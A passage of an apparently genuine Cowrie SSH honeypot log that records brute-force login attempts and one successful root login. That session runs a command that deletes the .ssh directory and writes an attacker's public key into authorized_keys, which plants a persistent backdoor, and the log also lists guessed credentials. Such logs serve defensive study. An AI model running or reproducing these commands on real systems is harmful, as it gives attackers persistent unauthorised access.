57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:17.848800Z","src_ip":"172.187.200.190","session":"0c44ef9817fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cristopher","password":"cristopher","message":"login attempt [cristopher/cristopher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:18.100640Z","src_ip":"172.187.200.190","session":"0c44ef9817fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:19.188685Z","src_ip":"172.187.200.190","session":"0c44ef9817fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":53850,"dst_ip":"159.203.135.109","dst_port":22,"session":"72997ea925ce","protocol":"ssh","message":"New connection: 103.59.94.117:53850 (159.203.135.109:22) [session: 72997ea925ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:40.142134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:40.146678Z","src_ip":"103.59.94.117","session":"72997ea925ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:40.395639Z","src_ip":"103.59.94.117","session":"72997ea925ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ceo","password":"password","message":"login attempt [ceo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:41.423776Z","src_ip":"103.59.94.117","session":"72997ea925ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:42.675343Z","src_ip":"103.59.94.117","session":"72997ea925ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":39878,"dst_ip":"159.203.135.109","dst_port":22,"session":"c49ed8b503d9","protocol":"ssh","message":"New connection: 20.244.95.173:39878 (159.203.135.109:22) [session: c49ed8b503d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:45.298579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:45.302639Z","src_ip":"20.244.95.173","session":"c49ed8b503d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:45.520777Z","src_ip":"20.244.95.173","session":"c49ed8b503d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"library","password":"library","message":"login attempt [library/library] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:45.962576Z","src_ip":"20.244.95.173","session":"c49ed8b503d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:47:47.183171Z","src_ip":"20.244.95.173","session":"c49ed8b503d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":56944,"dst_ip":"159.203.135.109","dst_port":22,"session":"14685e86710b","protocol":"ssh","message":"New connection: 45.134.9.27:56944 (159.203.135.109:22) [session: 14685e86710b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:37.524428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:37.528003Z","src_ip":"45.134.9.27","session":"14685e86710b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:37.595215Z","src_ip":"45.134.9.27","session":"14685e86710b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz@WSX","message":"login attempt [ftpuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:37.872716Z","src_ip":"45.134.9.27","session":"14685e86710b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:38.937117Z","src_ip":"45.134.9.27","session":"14685e86710b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":34392,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f2cd52b2430","protocol":"ssh","message":"New connection: 34.81.72.185:34392 (159.203.135.109:22) [session: 6f2cd52b2430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:55.085815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:55.090349Z","src_ip":"34.81.72.185","session":"6f2cd52b2430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:55.282755Z","src_ip":"34.81.72.185","session":"6f2cd52b2430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34098,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb4ab03bde0f","protocol":"ssh","message":"New connection: 2.57.122.208:34098 (10.17.0.5:22) [session: bb4ab03bde0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:55.635720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:55.640334Z","src_ip":"2.57.122.208","session":"bb4ab03bde0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:55.770900Z","src_ip":"2.57.122.208","session":"bb4ab03bde0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"install","password":"1234","message":"login attempt [install/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:56.085940Z","src_ip":"34.81.72.185","session":"6f2cd52b2430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:56.261964Z","src_ip":"2.57.122.208","session":"bb4ab03bde0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:57.281820Z","src_ip":"34.81.72.185","session":"6f2cd52b2430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:48:57.460588Z","src_ip":"2.57.122.208","session":"bb4ab03bde0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":48800,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb5a949e40c8","protocol":"ssh","message":"New connection: 103.13.206.100:48800 (10.17.0.5:22) [session: fb5a949e40c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:17.463967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:17.469260Z","src_ip":"103.13.206.100","session":"fb5a949e40c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:17.704807Z","src_ip":"103.13.206.100","session":"fb5a949e40c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k","password":"kk","message":"login attempt [k/kk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:18.753823Z","src_ip":"103.13.206.100","session":"fb5a949e40c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:20.010945Z","src_ip":"103.13.206.100","session":"fb5a949e40c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":58506,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e35f18a8d8","protocol":"ssh","message":"New connection: 103.59.94.117:58506 (159.203.135.109:22) [session: f1e35f18a8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:43.298241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:43.302525Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:43.539960Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xs123456","message":"login attempt [root/Xs123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:44.526820Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:45.040651Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:45.043847Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:45.047720Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:45.288894Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:45.873458Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:45.876620Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:49:46.120379Z","src_ip":"103.59.94.117","session":"f1e35f18a8d8","protocol":"ssh"}
